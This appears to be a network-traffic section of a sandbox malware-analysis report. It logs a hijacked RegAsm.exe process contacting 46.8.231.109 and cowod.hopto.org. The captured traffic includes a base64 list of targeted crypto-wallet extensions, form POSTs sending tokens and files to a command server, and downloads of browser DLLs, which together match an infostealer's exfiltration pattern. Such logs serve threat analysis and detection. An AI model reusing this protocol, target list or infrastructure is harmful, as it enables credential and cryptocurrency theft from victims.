TWV0YU1hc2t8ZGpjbGNra2dsZWNob29ibG5nZ2hkaW5tZWVta2JnY2l8MXwwfDB8TWV0YU1hc2t8ZWpiYWxiYWtvcGxjaGxnaGVjZGFsbWVlZWFqbmltaG18MXwwfDB8TWV0YU1hc2t8bmtiaWhmYmVvZ2FlYW9laGxlZm5rb2RiZWZncGdrbm58MXwwfDB8VHJvbkxpbmt8aWJuZWpkZmptbWtwY25scGVia2xtbmtvZW9paG9mZWN8MXwwfDB8QmluYW5jZSBXYWxsZXR8Zmhib2hpbWFlbGJvaHBqYmJsZGNuZ2NuYXBuZG9kanB8MXwwfDB8WW9yb2l8ZmZuYmVsZmRvZWlvaGVua2ppYm5tYWRqaWVoamhhamJ8MXwwfDB8Q29pbmJhc2UgV2FsbGV0IGV4dGVuc2lvbnxobmZhbmtub2NmZW9mYmRkZ2Npam5taG5mbmtkbmFhZHwxfDB8MXxHdWFyZGF8aHBnbGZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58MXwwfDB8SmF4eCBMaWJlcnR5fGNqZWxmcGxwbGViZGpqZW5sbHBqY2JsbWprZmNmZm5lfDF8MHwwfGlXYWxsZXR8a25jY2hkaWdvYmdoZW5iYmFkZG9qam5uYW9nZnBwZmp8MXwwfDB8TUVXIENYfG5sYm1ubmlqY25sZWdrampwY2ZqY2xtY2ZnZ2ZlZmRtfDF8MHwwfEd1aWxkV2FsbGV0fG5hbmptZGtuaGtpbmlmbmtnZGNnZ2NmbmhkYWFtbW1qfDF8MHwwfFJvbmluIFdhbGxldHxmbmpobWtoaG1rYmpra2FibmRjbm5vZ2Fnb2dibmVlY3wxfDB8MHxOZW9MaW5lfGNwaGhsZ21nYW1lb2RuaGtqZG1rcGFubGVsbmxvaGFvfDF8MHwwfENMViBXYWxsZXR8bmhua2JrZ2ppa2djaWdhZG9ta3BoYWxhbm5kY2Fwamt8MXwwfDB8TGlxdWFsaXR5
Oct 2, 2024 05:20:02.129982948 CEST	1236	IN	Data Raw: 49 46 64 68 62 47 78 6c 64 48 78 72 63 47 5a 76 63 47 74 6c 62 47 31 68 63 47 4e 76 61 58 42 6c 62 57 5a 6c 62 6d 52 74 5a 47 4e 6e 61 47 35 6c 5a 32 6c 74 62 6e 77 78 66 44 42 38 4d 48 78 55 5a 58 4a 79 59 53 42 54 64 47 46 30 61 57 39 75 49 46 Data Ascii: IFdhbGxldHxrcGZvcGtlbG1hcGNvaXBlbWZlbmRtZGNnaG5lZ2ltbnwxfDB8MHxUZXJyYSBTdGF0aW9uIFdhbGxldHxhaWlmYm5iZm9icG1lZWtpcGhlZWlqaW1kcG5scGdwcHwxfDB8MHxLZXBscnxkbWthbWNrbm9na2djZGZoaGJkZGNnaGFjaGtlamVhcHwxfDB8MHxTb2xsZXR8ZmhtZmVuZGdkb2NtY2JtZmlrZGNvZ29
Oct 2, 2024 05:20:02.129993916 CEST	1236	IN	Data Raw: 66 47 52 75 5a 32 31 73 59 6d 78 6a 62 32 52 6d 62 32 4a 77 5a 48 42 6c 59 32 46 68 5a 47 64 6d 59 6d 4e 6e 5a 32 5a 71 5a 6d 35 74 66 44 46 38 4d 48 77 77 66 45 74 6c 5a 58 42 6c 63 69 42 58 59 57 78 73 5a 58 52 38 62 48 42 70 62 47 4a 75 61 57 Data Ascii: fGRuZ21sYmxjb2Rmb2JwZHBlY2FhZGdmYmNnZ2ZqZm5tfDF8MHwwfEtlZXBlciBXYWxsZXR8bHBpbGJuaWlhYmFja2RqY2lvbmtvYmdsbWRkZmJjam98MXwwfDB8U29sZmxhcmUgV2FsbGV0fGJoaGhsYmVwZGtiYXBhZGpkbm5vamtiZ2lvaW9kYmljfDF8MHwwfEN5YW5vIFdhbGxldHxka2RlZGxwZ2RtbWtrZmphYmZmZWd
Oct 2, 2024 05:20:02.130078077 CEST	672	IN	Data Raw: 49 45 46 77 64 47 39 7a 49 46 64 68 62 47 78 6c 64 48 78 77 61 47 74 69 59 57 31 6c 5a 6d 6c 75 5a 32 64 74 59 57 74 6e 61 32 78 77 61 32 78 71 61 6d 31 6e 61 57 4a 76 61 47 35 69 59 58 77 78 66 44 42 38 4d 48 78 51 5a 58 52 79 59 53 42 42 63 48 Data Ascii: IEFwdG9zIFdhbGxldHxwaGtiYW1lZmluZ2dtYWtna2xwa2xqam1naWJvaG5iYXwxfDB8MHxQZXRyYSBBcHRvcyBXYWxsZXR8ZWpqbGFkaW5uY2tkZ2plbWVrZWJkcGVva2Jpa2hmY2l8MXwwfDB8TWFydGlhbiBBcHRvcyBXYWxsZXR8ZWZiZ2xnb2ZvaXBwYmdjamVwbmhpYmxhaWJjbmNsZ2t8MXwwfDB8RmlubmllfGNqbWt
Oct 2, 2024 05:20:02.130089998 CEST	1236	IN	Data Raw: 64 47 6c 6a 59 58 52 76 63 6e 78 70 62 47 64 6a 62 6d 68 6c 62 48 42 6a 61 47 35 6a 5a 57 56 70 63 47 6c 77 61 57 70 68 62 47 70 72 59 6d 78 69 59 32 39 69 62 48 77 78 66 44 42 38 4d 48 78 43 61 58 52 33 59 58 4a 6b 5a 57 35 38 62 6d 35 6e 59 32 Data Ascii: dGljYXRvcnxpbGdjbmhlbHBjaG5jZWVpcGlwaWphbGprYmxiY29ibHwxfDB8MHxCaXR3YXJkZW58bm5nY2Vja2JhcGViZmltbmxuaWlpYWhrYW5kY2xibGJ8MXwwfDB8S2VlUGFzc1hDfG9ib29uYWtlbW9mcGFsY2dnaG9jZm9hZG9maWRqa2trfDF8MHwwfERhc2hsYW5lfGZkamFtYWtwZmJiZGRmamFvb2lrZmNwYXBqb2h
Oct 2, 2024 05:20:02.130101919 CEST	224	IN	Data Raw: 63 47 35 72 62 57 52 71 63 47 39 6a 5a 32 74 6f 59 58 77 78 66 44 42 38 4d 48 78 44 62 32 6c 75 61 48 56 69 66 47 70 6e 59 57 46 70 62 57 46 71 61 58 42 69 63 47 52 76 5a 33 42 6b 5a 32 78 6f 59 58 42 6f 62 47 52 68 61 32 6c 72 5a 32 56 6d 66 44 Data Ascii: cG5rbWRqcG9jZ2toYXwxfDB8MHxDb2luaHVifGpnYWFpbWFqaXBicGRvZ3BkZ2xoYXBobGRha2lrZ2VmfDF8MHwwfE11bHRpdmVyc1ggRGVGaSBXYWxsZXR8ZG5nbWxibGNvZGZvYnBkcGVjYWFkZ2ZiY2dnZmpmbm18MXwwfDB8RnJvbnRpZXIgV2FsbGV0fGtwcGZkaWlwcGhmY2NlbWNpZ25oaWZw
Oct 2, 2024 05:20:02.130151987 CEST	1236	IN	Data Raw: 61 6d 74 68 63 47 5a 69 61 57 68 6b 66 44 46 38 4d 48 77 77 66 46 4e 68 5a 6d 56 51 59 57 78 38 62 47 64 74 63 47 4e 77 5a 32 78 77 62 6d 64 6b 62 32 46 73 59 6d 64 6c 62 32 78 6b 5a 57 46 71 5a 6d 4e 73 62 6d 68 68 5a 6d 46 38 4d 58 77 77 66 44 Data Ascii: amthcGZiaWhkfDF8MHwwfFNhZmVQYWx8bGdtcGNwZ2xwbmdkb2FsYmdlb2xkZWFqZmNsbmhhZmF8MXwwfDB8U3ViV2FsbGV0IC0gUG9sa2Fkb3QgV2FsbGV0fG9uaG9nZmplYWNuZm9vZmtmZ3BwZGxibWxtbnBsZ2JufDF8MHwwfEZsdXZpIFdhbGxldHxtbW1qYmNmb2Zjb25rYW5uam9uZm1qamFqcGxsZGRiZ3wxfDB8MHx
Oct 2, 2024 05:20:02.130186081 CEST	268	IN	Data Raw: 64 48 78 71 61 57 6c 6b 61 57 46 68 62 47 6c 6f 62 57 31 6f 5a 47 52 71 5a 32 4a 75 59 6d 64 6b 5a 6d 5a 73 5a 57 78 76 59 33 42 68 61 33 77 78 66 44 42 38 4d 48 78 55 54 30 34 67 56 32 46 73 62 47 56 30 66 47 35 77 61 48 42 73 63 47 64 76 59 57 Data Ascii: dHxqaWlkaWFhbGlobW1oZGRqZ2JuYmdkZmZsZWxvY3Bha3wxfDB8MHxUT04gV2FsbGV0fG5waHBscGdvYWtoaGpjaGtraG1pZ2dha2lqbmtoZm5kfDF8MHwwfE15VG9uV2FsbGV0fGZsZGZwZ2lwZm5jZ25kZm9sY2JrZGVla25iYmJuaGNjfDF8MHwwfFVuaXN3YXAgRXh0ZW5zaW9ufG5ucG1mcGxrZm9nZnBtY25ncGxobmJ
Oct 2, 2024 05:20:02.386406898 CEST	467	OUT	POST /c4754d4f680ead72.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DGIJEGHDAECAKECAFCAK Host: 46.8.231.109 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 44 47 49 4a 45 47 48 44 41 45 43 41 4b 45 43 41 46 43 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 61 36 64 31 35 31 64 36 34 61 65 34 62 35 30 64 34 32 39 31 64 39 65 31 61 32 31 62 63 30 38 39 32 65 32 35 61 34 34 66 36 63 65 61 66 33 35 38 66 37 61 61 34 35 37 63 35 39 64 64 38 36 30 31 34 63 63 37 65 63 34 0d 0a 2d 2d 2d 2d 2d 2d 44 47 49 4a 45 47 48 44 41 45 43 41 4b 45 43 41 46 43 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 44 47 49 4a 45 47 48 44 41 45 43 41 4b 45 43 41 46 43 41 4b 2d 2d 0d 0a Data Ascii: ------DGIJEGHDAECAKECAFCAKContent-Disposition: form-data; name="token"fa6d151d64ae4b50d4291d9e1a21bc0892e25a44f6ceaf358f7aa457c59dd86014cc7ec4------DGIJEGHDAECAKECAFCAKContent-Disposition: form-data; name="message"fplugins------DGIJEGHDAECAKECAFCAK--
Oct 2, 2024 05:20:02.565702915 CEST	335	IN	HTTP/1.1 200 OK Date: Wed, 02 Oct 2024 03:20:02 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 108 Keep-Alive: timeout=5, max=96 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 4d 48 78 33 5a 57 4a 6c 65 48 52 6c 62 6e 4e 70 62 32 35 41 62 57 56 30 59 57 31 68 63 32 73 75 61 57 39 38 55 6d 39 75 61 57 34 67 56 32 46 73 62 47 56 30 66 44 42 38 63 6d 39 75 61 57 34 74 64 32 46 73 62 47 56 30 51 47 46 34 61 57 56 70 62 6d 5a 70 62 6d 6c 30 65 53 35 6a 62 32 31 38 Data Ascii: TWV0YU1hc2t8MHx3ZWJleHRlbnNpb25AbWV0YW1hc2suaW98Um9uaW4gV2FsbGV0fDB8cm9uaW4td2FsbGV0QGF4aWVpbmZpbml0eS5jb218
Oct 2, 2024 05:20:02.614648104 CEST	200	OUT	POST /c4754d4f680ead72.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HDHJEBFBFHJECAKFCAAK Host: 46.8.231.109 Content-Length: 5623 Connection: Keep-Alive Cache-Control: no-cache
Oct 2, 2024 05:20:02.614696026 CEST	5623	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 48 44 48 4a 45 42 46 42 46 48 4a 45 43 41 4b 46 43 41 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 61 36 64 31 35 Data Ascii: ------HDHJEBFBFHJECAKFCAAKContent-Disposition: form-data; name="token"fa6d151d64ae4b50d4291d9e1a21bc0892e25a44f6ceaf358f7aa457c59dd86014cc7ec4------HDHJEBFBFHJECAKFCAAKContent-Disposition: form-data; name="file_name"c3lzdGVtX2luZ
Oct 2, 2024 05:20:02.847184896 CEST	202	IN	HTTP/1.1 200 OK Date: Wed, 02 Oct 2024 03:20:02 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=95 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 2, 2024 05:20:02.847857952 CEST	91	OUT	GET /1309cdeb8f4c8736/sqlite3.dll HTTP/1.1 Host: 46.8.231.109 Cache-Control: no-cache
Oct 2, 2024 05:20:03.050158978 CEST	1236	IN	HTTP/1.1 200 OK Date: Wed, 02 Oct 2024 03:20:02 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 14:30:30 GMT ETag: "10e436-5e7eeebed8d80" Accept-Ranges: bytes Content-Length: 1106998 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELc!&@a0: 0@< .text%&`P`.data\|'@(,@`.rdatapDpFT@`@.bss(`.edata,@0@.idata@0.CRT,@0.tls @0.rsrc0@0.reloc<@>@0B/48@@B/19R"@B/31]'`(@B/45-.@B/57\B@0B/70
Oct 2, 2024 05:20:03.050177097 CEST	1236	IN	Data Raw: 00 00 23 03 00 00 00 d0 0e 00 00 04 00 00 00 4e 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 38 31 00 00 00 00 00 73 3a 00 00 00 e0 0e 00 00 3c 00 00 00 52 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 39 32 00 00 00 00 00 Data Ascii: #N@B/81s:<R@B/92P @B
Oct 2, 2024 05:20:04.007292032 CEST	200	OUT	POST /c4754d4f680ead72.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----EBGCFBGCBFHJECBGDAKK Host: 46.8.231.109 Content-Length: 4599 Connection: Keep-Alive Cache-Control: no-cache
Oct 2, 2024 05:20:04.335535049 CEST	202	IN	HTTP/1.1 200 OK Date: Wed, 02 Oct 2024 03:20:04 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=93 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 2, 2024 05:20:04.432611942 CEST	200	OUT	POST /c4754d4f680ead72.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KKJKFBKKECFHJKEBKEHI Host: 46.8.231.109 Content-Length: 1451 Connection: Keep-Alive Cache-Control: no-cache
Oct 2, 2024 05:20:04.718554020 CEST	202	IN	HTTP/1.1 200 OK Date: Wed, 02 Oct 2024 03:20:04 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=92 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 2, 2024 05:20:04.763398886 CEST	562	OUT	POST /c4754d4f680ead72.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FBKJKEHIJECGCBFIJEGI Host: 46.8.231.109 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 46 42 4b 4a 4b 45 48 49 4a 45 43 47 43 42 46 49 4a 45 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 61 36 64 31 35 31 64 36 34 61 65 34 62 35 30 64 34 32 39 31 64 39 65 31 61 32 31 62 63 30 38 39 32 65 32 35 61 34 34 66 36 63 65 61 66 33 35 38 66 37 61 61 34 35 37 63 35 39 64 64 38 36 30 31 34 63 63 37 65 63 34 0d 0a 2d 2d 2d 2d 2d 2d 46 42 4b 4a 4b 45 48 49 4a 45 43 47 43 42 46 49 4a 45 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 46 42 4b 4a 4b 45 48 49 4a 45 43 47 43 42 46 49 4a 45 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------FBKJKEHIJECGCBFIJEGIContent-Disposition: form-data; name="token"fa6d151d64ae4b50d4291d9e1a21bc0892e25a44f6ceaf358f7aa457c59dd86014cc7ec4------FBKJKEHIJECGCBFIJEGIContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------FBKJKEHIJECGCBFIJEGIContent-Disposition: form-data; name="file"------FBKJKEHIJECGCBFIJEGI--
Oct 2, 2024 05:20:04.965730906 CEST	202	IN	HTTP/1.1 200 OK Date: Wed, 02 Oct 2024 03:20:04 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=91 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 2, 2024 05:20:05.807724953 CEST	562	OUT	POST /c4754d4f680ead72.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DAAFBAKECAEGCBFIEGDG Host: 46.8.231.109 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 44 41 41 46 42 41 4b 45 43 41 45 47 43 42 46 49 45 47 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 61 36 64 31 35 31 64 36 34 61 65 34 62 35 30 64 34 32 39 31 64 39 65 31 61 32 31 62 63 30 38 39 32 65 32 35 61 34 34 66 36 63 65 61 66 33 35 38 66 37 61 61 34 35 37 63 35 39 64 64 38 36 30 31 34 63 63 37 65 63 34 0d 0a 2d 2d 2d 2d 2d 2d 44 41 41 46 42 41 4b 45 43 41 45 47 43 42 46 49 45 47 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 44 41 41 46 42 41 4b 45 43 41 45 47 43 42 46 49 45 47 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------DAAFBAKECAEGCBFIEGDGContent-Disposition: form-data; name="token"fa6d151d64ae4b50d4291d9e1a21bc0892e25a44f6ceaf358f7aa457c59dd86014cc7ec4------DAAFBAKECAEGCBFIEGDGContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------DAAFBAKECAEGCBFIEGDGContent-Disposition: form-data; name="file"------DAAFBAKECAEGCBFIEGDG--
Oct 2, 2024 05:20:06.007245064 CEST	202	IN	HTTP/1.1 200 OK Date: Wed, 02 Oct 2024 03:20:05 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=90 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 2, 2024 05:20:06.351109028 CEST	91	OUT	GET /1309cdeb8f4c8736/freebl3.dll HTTP/1.1 Host: 46.8.231.109 Cache-Control: no-cache
Oct 2, 2024 05:20:06.527642012 CEST	1236	IN	HTTP/1.1 200 OK Date: Wed, 02 Oct 2024 03:20:06 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT ETag: "a7550-5e7ebd4425100" Accept-Ranges: bytes Content-Length: 685392 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!4p@AHSxFP/# @.text `.rdata @@.data<F0@.00cfg@@.rsrcx@@.reloc#$"@B
Oct 2, 2024 05:20:07.180299044 CEST	91	OUT	GET /1309cdeb8f4c8736/mozglue.dll HTTP/1.1 Host: 46.8.231.109 Cache-Control: no-cache
Oct 2, 2024 05:20:07.356302023 CEST	1236	IN	HTTP/1.1 200 OK Date: Wed, 02 Oct 2024 03:20:07 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT ETag: "94750-5e7ebd4425100" Accept-Ranges: bytes Content-Length: 608080 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!^j@A`W, P/0AShZ.texta `.rdata@@.dataD@.00cfg@@.tls@.rsrc @@.relocA0B@B

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49777	45.132.206.251	80	4248	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
Oct 2, 2024 05:20:01.989631891 CEST	281	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----EGCGHCBKFCFBFHIDHDBF User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0 Host: cowod.hopto.org Content-Length: 5757 Connection: Keep-Alive Cache-Control: no-cache
Oct 2, 2024 05:20:01.989631891 CEST	5757	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 45 47 43 47 48 43 42 4b 46 43 46 42 46 48 49 44 48 44 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 35 39 61 61 32 Data Ascii: ------EGCGHCBKFCFBFHIDHDBFContent-Disposition: form-data; name="token"c59aa2fc2522934890212afe4b8bbc64------EGCGHCBKFCFBFHIDHDBFContent-Disposition: form-data; name="build_id"7fb8096dba7218243f8f6f7a994751d3------EGCGHCBKFCFBFH
Oct 2, 2024 05:20:02.848476887 CEST	188	IN	HTTP/1.1 200 OK Server: openresty Date: Wed, 02 Oct 2024 03:20:02 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive X-Served-By: cowod.hopto.org

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49780	46.8.231.109	80	6724	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
Oct 2, 2024 05:20:07.378031015 CEST	92	OUT	GET /1309cdeb8f4c8736/msvcp140.dll HTTP/1.1 Host: 46.8.231.109 Cache-Control: no-cache
Oct 2, 2024 05:20:07.977621078 CEST	1236	IN	HTTP/1.1 200 OK Date: Wed, 02 Oct 2024 03:20:07 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT ETag: "6dde8-5e7ebd4425100" Accept-Ranges: bytes Content-Length: 450024 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 